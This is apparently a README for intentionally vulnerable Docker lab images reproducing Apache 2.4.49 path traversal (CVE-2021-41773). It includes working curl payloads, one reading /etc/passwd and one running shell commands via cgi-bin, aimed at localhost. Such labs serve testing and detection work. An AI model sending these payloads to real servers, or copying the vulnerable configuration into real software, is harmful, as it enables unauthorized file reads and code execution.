Vulnerable docker images for CVE-2021-41773 Apache path traversal
This vulnerabiltiy only applies to version 2.4.49 that have specific non-default configs. In certain situations this can result in either file read or code execution.
https://twitter.com/ptswarm/status/1445376079548624899
Vulnerable file read config
Containers can be pulled directly from Docker Hub using
docker pull blueteamsteve/cve-2021-41773:no-cgid
and executed using
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
The Apache logs can be viewed using below, or just exlude the "-dit" from the above run command to stream stdio
docker logs <container-id>
PoC for file read
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Vulnerable RCE config
Containers can be pulled directly from Docker Hub using
docker pull blueteamsteve/cve-2021-41773:with-cgid
and executed using
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
The Apache logs can be viewed using below, or just exlude the "-dit" from the above run command to stream stdio
docker logs <container-id>
PoC for RCE
curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
Build custom docker containers
Modify and build your own versions using the dockerfile and template httpd.conf files in the subdirectories
- Use ./no-cgi for the config vulnerable to file read
- Use ./with-cgi for the config vulnerable to code execution